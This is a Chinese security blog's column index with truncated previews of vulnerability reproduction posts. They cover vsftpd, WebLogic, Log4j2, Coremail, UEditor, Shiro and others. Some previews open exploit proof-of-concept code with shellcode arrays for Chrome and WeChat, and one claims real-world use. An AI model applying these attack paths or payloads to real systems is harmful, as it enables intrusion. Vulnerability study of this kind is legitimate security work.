![](https://img-blog.csdnimg.cn/20201014180756754.png?x-oss-process=image/resize,m_fixed,h_224,w_224)
漏洞分析&复现
本专栏为漏洞产生原理分析专栏
小韩韩啊
主业信息安全!
会python,懂php,java,会mysql基本操作。
懂产品设计,会写产品方案,会seo,会逆向,
会售前售后,
会一点安全运营,
会一点点运维,
的一条安全dog。
展开
-
一起了解FTP渗透
Ftp笑脸漏洞, 这个漏洞是开发者在软件中留下的后门漏洞,当连接带有vsftpd 2.3.4版本的服务器的21端口时,输入用户中带有“:) ”,密码任意,即可运行 vsf_sysutil_extra() :打开服务器的6200端口,并且不需要密码就能从6200端口以管理员身份登入目标服务器。首先是弱口令,弱口令作为渗透突破中的一大要点,在实战中常见的弱口令也是不少的,如企业开放与互联网边界的设备或系统,VPN设备,虚拟化桌面,邮件等系统,弱口令是一个必不可少的测试阶段。账户anonymous。原创 2022-10-02 21:15:40 · 963 阅读 · 0 评论 -
weblogic LDAP远程代码执行 CVE-2021-2109
漏洞影响版本WebLogic Server 10.3.6.0.0WebLogic Server 12.1.3.0.0WebLogic Server 12.2.1.3.0WebLogic Server 12.2.1.4.0WebLogic Server 14.1.1.0.0漏洞复现搭建实验环境,我这里直接使用vulhub里weblogic CVE-2020-14882的环境访问http://192.168.2.131:7001,出现以下界面说明搭建成功访问以下路径,如果原创 2022-02-01 10:35:21 · 2254 阅读 · 0 评论 -
黑盒判断FastJson组件
判断方法个人总结有以下四种:1. 响应报错 如果站点响应结果中会将代码控制台的错误结果回显,就可以用不闭合括号、引号等方式进行报错回显,报错结果中可以通过 类的包名判断是哪个json组件 com.alibaba.fastjson.JSONException com.fasterxml.jackson.databind.xxxxxxxxx 2. 支持额外属性的特性 fastjson支持类对象以外的属性获取,而jackson不支持,可以在测试时可以通过添加额外的参数值,查看是不否报原创 2022-01-26 12:48:00 · 1355 阅读 · 0 评论 -
Log4j2 Jndi 漏洞原理解析
漏洞解析、复现Log4j2的框架设计非常优秀,各种功能均是以内部插件的方式进行的扩展实现,比如我们经常在Xml中定义的<Appenders>,实际对应的则是如下的AppendersPlugin对象而我们在Xml Appenders下所定义的<Console>实际对应的则是如下的ConsoleAppender对象看到这里应该就知晓了,我们在配置文件中所配置的各种元素实际上对应的均是Log4j2中的各种插件对象,Xml在被解析过程当中,会将你所配置的各种元素名..原创 2022-01-01 04:58:18 · 2568 阅读 · 1 评论 -
PHP zerodium后门漏洞
漏洞类型任意代码执行触发条件提交的请求包中,如果字符串以'zerodium'开头,那么该行将从useragent HTTP标头(“ HTTP_USER_AGENTT”)中执行PHP代码原创 2021-04-27 01:52:48 · 870 阅读 · 0 评论 -
浪潮 ClusterEngineV4.0 任意命令执行
目录漏洞关注点:漏洞信息漏洞危害fofa_dork漏洞验证验证POC修复方案漏洞关注点:/alarmConfig漏洞信息浪潮ClusterEngine集群管理平台是专为浪潮天梭系列HPC产品定制的一款作业管理软件,该软件采用B/S架构,通过浏览器(IE,firefox等)进行操作,可以管理集群系统中的软硬件资源和用户提交的作业,根据集群中的资源使用情况来合理的调度用户提交的作业,从而达到提高资源的利用率和作业的执行效率的作用。其4.0版本存在任意命令执行漏洞。原创 2021-04-27 01:49:39 · 518 阅读 · 0 评论 -
jellyfin任意文件读取漏洞CVE-2021-21402
简介:Jellyfin 是一个免费软件媒体系统。在 10.7.1 版之前的 Jellyfin 中,带有某些终结点的精心设计的请求将允许从 Jellyfin 服务器的文件系统中读取任意文件。当 Windows 用作主机 OS 时,此问题更加普遍。暴露于公共 Internet 的服务器可能会受到威胁。在版本 10.7.1 中已修复此问题。解决方法是,用户可以通过在文件系统上实施严格的安全权限来限制某些 访问,但是建议尽快进行更新。影响版本:Jellyfin<10.7.1复现..原创 2021-04-22 21:00:01 · 1542 阅读 · 0 评论 -
chrome内核0day poc
目录EXPcore.pyexploit.htmlexploit.jsEXPcore.py# only python3 supportedpayload = b"notepad.exe"shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086原创 2021-04-17 21:18:17 · 458 阅读 · 0 评论 -
微信远程代码执行漏洞(最新版本利用)-亲测已上线
POC:ENABLE_LOG = true;IN_WORKER = true;// run calc and hang in a loopvar shellcode = [,0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0x原创 2021-04-17 20:54:40 · 547 阅读 · 0 评论 -
Coremail远程代码执行
Coremail的nginx配置文件中针对/lunkr/cache路径做upstream的时候未做X-Forwarded-For字段的设置,从而可以利用该接口实现配合利用nginx不解析;但是tomcat解析;的差异特性实现绕过tomcat的manager应用127.0.0.1本地ip限制。并且coremail默认的tomcat-user为coremail,coremaillunkr/cache/;/;/../../manager/html访问过去会直接跳转到tomcat控制台,这里你就可以.原创 2021-04-17 19:18:03 · 1996 阅读 · 0 评论 -
ueditor编辑器任意文件上传
事情起源于项目,本身我并没有关注过ueditor方面,遇到一个网站也是纯属尝试下,但是居然搞定了。那就从官方下载代码来看下额下载地址:http://ueditor.baidu.com/website/download.html#ueditorPOST /utf8-php/php/controller.php?action=uploadimage HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64.原创 2021-04-02 06:59:05 · 643 阅读 · 0 评论 -
Shiro1.2.4发序列化漏洞
漏洞描述 Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。 Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。漏洞产生原因: shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到r原创 2021-04-02 06:51:23 · 330 阅读 · 1 评论